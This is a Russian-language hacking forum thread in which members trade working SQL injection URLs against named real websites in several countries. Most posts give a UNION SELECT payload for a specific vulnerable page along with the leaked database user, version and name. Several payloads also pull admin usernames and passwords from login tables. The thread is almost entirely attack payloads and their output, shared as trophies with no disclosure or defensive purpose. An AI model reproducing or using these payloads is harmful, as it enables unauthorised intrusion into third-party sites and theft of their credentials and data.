SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Code:
    http://www.artbox.by/goods.php?category=-1+UNION+SELECT+1,2,3+--+
    
    user: artboxby@localhost
    version: 5.0.30-Debian_3
    database: artboxby

    Code:
    http://www.menskbike.com/index.php?PageToGo=articles&article_id=-1+UNION+SELECT+1,2,3,4+--+
    
    user: menskbikecom@localhost
    version: 5.0.51a-24+lenny2-log
    database: menskbikecom

    Code:
    http://www.belaquilon.by/page.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--+
    
    user: belaquilon@localhost
    version: 5.1.34-community-log
    database: victor_belaquilon

    Code:
    http://veyron.by/page.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--+
    
    user: siteis_user@localhost
    version: 4.1.22-standard
    database: siteis_siteis

    Code:
    http://www.pygmalion.by/page.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--+
    
    user: pygmalio_alex@localhost
    version: 5.0.81-community-log
    database: pygmalio_main

    Code:
    http://vip-study.by/page.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+--+
    
    user: vipstudy_by@localhost
    version: 5.0.51a-24+lenny1-log
    database: vipstudy_by

    Code:
    http://www.castingcentr.by/page.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+
    
    user: castingcentrby@localhost
    version: 5.0.51-3-log
    database: castingcentrby

    Code:
    http://www.plenki.by/news-page.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--+
    
    user: bestshop@localhost
    version: 5.1.34-community-log
    database: bestshop_plenki

    Code:
    http://www.mgmotor.by/page.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--+
    
    user: siteis_user@localhost
    version: 4.1.22-standard
    database: siteis_siteis

    Code:
    http://www.priborcom.com/page.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--+
    
    user: priborco_alex@localhost
    version: 5.0.86-percona-highperf-b19
    database: priborco_main
     
    1 person likes this.
  2. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Code:
    http://www.eaglesports.ru/ru/news/index.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--+
    
    database: eaglesport_main
    user: eaglesport_alex@localhost
    version: 5.0.51a

    Code:
    http://www.aksinterier.com/index.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--+
    
    database: aksinter_aksinterier
    user: aksinter_aks@localhost
    version: 4.1.22-standard


    Газета "Звязда"=)
    Code:
    http://www.zviazda.by/ru/issue/rubric.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--+
    
    database: zvyazdaminskby
    user: zvyazdaminskby@localhost
    version: 5.0.45-Debian_1-log
     
  3. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Пришлось как-то странно извратиться)
    Code:
    http://www.vales.by/catalog.php?action=show_object&id=-1+union+select+concat(0x3a,user())+--+
    
    user: valesby@localhost
    database: valesby
    version: 5.0.89
     
    2 people like this.
  4. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    bordeauxdogs.de PR-2

    Code:
    http://www.bordeauxdogs.de/guestbook/index.php?page=20&orderlinks=+and+1=0+union+select+concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+&perpage=10
    POST

    Code:
    4.0.27-max:[email protected]:db134450002 
    maskimxul.nl PR-2

    Code:
    http://www.maskimxul.nl/wsnguest/index.php?page=20&orderlinks=+and+1=0+union+select+concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+&perpage=10
    POST


    Code:
    5.0.67:maskimxul_mx@localhost:maskimxul_mx
     
  5. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Ещё один=)

    Code:
    http://www.resort.club-crosswind.com/index.php?parent=0&issue_id=-1+and+1=0+Union+Select+1,2,CONCAT(0x3a,version()),4,5,6+--+
    version: 5.0.51a-24+lenny1-log
    database: clubcrosswindcom
    user: clubcrosswindcom@localhost
     
  6. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    PR5
    Code:
    http://www.wac.ucla.edu/person.php?pid=19'+and+1=0+union+select+1,2,concat_ws(0x3a,username,passwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+user--+
    Version: 5.0.77-log
    User: [email protected]
    DataBase: wac

    Code:
    http://www.cadoganhall.com/showpage.php?pid=1116+and+1=0+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15--+
    Version: 4.0.27-max-log
    User: [email protected]
    DataBase: db125879966
     
    #11406 Gaus, 13 Feb 2010
    Last edited: 13 Feb 2010
  7. keng

    keng Member

    Joined:
    9 Apr 2008
    Messages:
    60
    Likes Received:
    43
    Reputations:
    8
    Code:
    http://www.project-dream.com/index.php?pageid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
    Version: 5.0.83-log
    Database: project-_dream
    User: [email protected]
    OS: unknown-linux-gnu

    Code:
    http://www.grinaker-lta.com/index.php?pageid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--

    Code:
    http://www.svrwheels.ru/index.php?pageId=-1+union+select+1,2,3,4,5,6,7,8,9,10--
    Version: 5.0.45-log
    Database: svrwheels
    User: svrwheels@localhost
    OS: redhat-linux-gnu
     
    #11407 keng, 13 Feb 2010
    Last edited: 13 Feb 2010
  8. SEWERN

    SEWERN Elder - Старейшина

    Joined:
    9 Jan 2009
    Messages:
    23
    Likes Received:
    35
    Reputations:
    26
    Code:
    http://203.170.87.153/~brookfi1/products.php?id=null%27+and+1=2+union+select+1,group_concat%28id,0x3a,username,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+userindex--%20-&r=null
     
  9. Leone_510

    Leone_510 Banned

    Joined:
    5 Jan 2008
    Messages:
    25
    Likes Received:
    5
    Reputations:
    0
    Code:
    http://fotik.com/good.php?good_id=-39674+UNION+SELECT+CONCAT(user_name,0x3b,user_pass)+FROM+users+LIMIT+0,1--
     
    1 person likes this.
  10. keng

    keng Member

    Joined:
    9 Apr 2008
    Messages:
    60
    Likes Received:
    43
    Reputations:
    8
    Code:
    http://almazserv.ru/product.php?good_id=-1+union+select+1--
    Version: 5.0.89
    Database: almaz
    User: almaz_db@localhost
    OS: portbld-freebsd6.3
     
  11. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Code:
    http://www.act.by/ru/products/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--+
    
    version: 5.0.86-percona-highperf-b19
    database:actby_main
    user: actby_alex@localhost
     
  12. fenixelite

    fenixelite Banned

    Joined:
    7 Feb 2010
    Messages:
    294
    Likes Received:
    56
    Reputations:
    6
    Code:
    http://art-gid.ru/forum/?nid=-2396+Union+Select+1,2,3,4,5--
    version : 4.0.23a-log
    user: artgid_art@localhost
    Database : db_artgid_art
     
  13. mayhem

    mayhem New Member

    Joined:
    12 Feb 2010
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Code:
    http://x-traz.ru/index.php?n_page=9&id_s=4+union+select+1,2,3,4,5,6,7,8,9+--+
    Code:
    http://x-traz.ru/index.php?n_page=9&id_s=4+union+select+1,2,3,concat%28login,0x3a,password%29,5,6,7,8,9+from+users%20+--+
    edlinx_xtraz 5.0.45
    edlinx_xtraz@localhost


    Code:
    http://diving.lalov.net/index.php?s=10&lang=ru+union+select+1,2,3,4,5,6+--+
    divetsentr@localhost
    diving 5.0.51a-log
     
    #11413 mayhem, 14 Feb 2010
    Last edited: 14 Feb 2010
  14. SEWERN

    SEWERN Elder - Старейшина

    Joined:
    9 Jan 2009
    Messages:
    23
    Likes Received:
    35
    Reputations:
    26
    Code:
    http://www.4x4styling.com/shop2/druckansicht.php?s=13%20and%201=2%20union%20select%201,2,3,4,5,concat(cName,0x3a,cPass),7,8,9%20from%20tadminlogin--
    Code:
    http://www.playerstore.ch/druckansicht.php?s=13%20and%201=2%20union%20select%201,2,3,4,5,concat(cName,0x3a,cPass),7,8,9%20from%20tadminlogin--
    Code:
    http://www.martinbechter.com/shop/druckansicht.php?s=13%20and%201=2%20union%20select%201,2,3,4,5,concat(cName,0x3a,cPass),7,8,9%20from%20tadminlogin--
    Code:
    http://www.hts-lifestyle.at/shop/druckansicht.php?s=13%20and%201=2%20union%20select%201,2,3,4,5,concat(cName,0x3a,cPass),7,8,9%20from%20tadminlogin--
     
    1 person likes this.
  15. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Code:
    http://www.jet.by/?page=1&cat_id=-1+union+select+1,2,3,4,5,6,7,8+--+
    
    version: 5.0.67-log
    database: jetdb
    user: jetdb@localhost
     
  16. keng

    keng Member

    Joined:
    9 Apr 2008
    Messages:
    60
    Likes Received:
    43
    Reputations:
    8
    Code:
    http://www.stgeorges.co.zw/shortfacts.php?id=-1+union+select+0,1,2,3--
    
    Version: 5.0.32-Debian_7etch10-log
    Database: stgeorges
    User: stgeorges@localhost
    OS: pc-linux-gnu

    Ещё немного Зимбабве:
    Code:
    http://www.fwm.co.zw/orderproducts.php?id=-1+union+select+1,unhex(hex(concat_ws(0x3a,version(),database(),user(),@@version_compile_os))),3,4,5,6--
    
    Version: 4.1.11
    Database: fwmdb
    User: fwmadmin@localhost
    OS: redhat-linux-gnu
     
    #11416 keng, 14 Feb 2010
    Last edited: 14 Feb 2010
    1 person likes this.
  17. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Code:
    http://www.613613.ru/catalog.php?id=-1+UNION+SELECT+1,2,3,4,5,6,concat(version(),0x3a,database(),0x3a,user()),8,9,10+--+
    
    5.0.89-community-log:f613613r_db:f613613r_user@localhost

    Code:
    http://www.nuovimondi.com/prod_detail.php?id=-1+union+select+1,2,3,4,5,6,concat(version(),0x3a,user(),0x3a,database()),8,9,10,11,12+--+
    
    5.0.82sp1-log:[email protected]:Sql257013_3

    Непонимаю я етот язык)
    Code:
    http://www.worknet.com.cn/prod_detail.php?id=-1+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5+--+
    
    4.0.17-log:root@localhost:worknet

    Снова на непонятном(
    Code:
    http://www.bjdnc.com/chn/pages/prod_detail.php?id=-1+union+select+concat(unhex(hex(version())),0x3a,unhex(hex(user())),0x3a,unhex(hex(database())))+--+
    
    4.1.12:dnc_f@localhost:dnc

    Code:
    http://www.walnrepair.com/prod_detail.php?ID=-1+union+select+1,concat(unhex(hex(version())),0x3a,unhex(hex(user())),0x3a,unhex(hex(database()))),3,4,5,6,7,8,9,10,11+--+
    
    4.1.22:walnrepa_walnrep@localhost:walnrepa_wrepair1
     
    #11417 Seravin, 15 Feb 2010
    Last edited: 15 Feb 2010
    1 person likes this.
  18. SEWERN

    SEWERN Elder - Старейшина

    Joined:
    9 Jan 2009
    Messages:
    23
    Likes Received:
    35
    Reputations:
    26
    както уныло скулится ((

    Code:
    http://www.dedicatedservers2.com.ar/classifiedads/classifiedads.html?id=5898+union+select+1,2,3,table_name,5,6,7,8+from+information_schema.tables--
    version : 5.0.89-community
    user:sellbuy1_blox@localhost
     
  19. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Code:
    http://www.bournemouthcc.co.uk/main/table.php?id=-1+UNION+SELECT+1--
    
    user: bourne2_admin@localhost
    version: 5.0.81-community
    database: bourne2_website
     
  20. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Code:
    http://www.jvc.fr/knowledge-list.php?id=-1+union+select+null,version(),null,null+--+
    
    version: PostgreSQL 8.3.7 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
     
Thread Status:
Not open for further replies.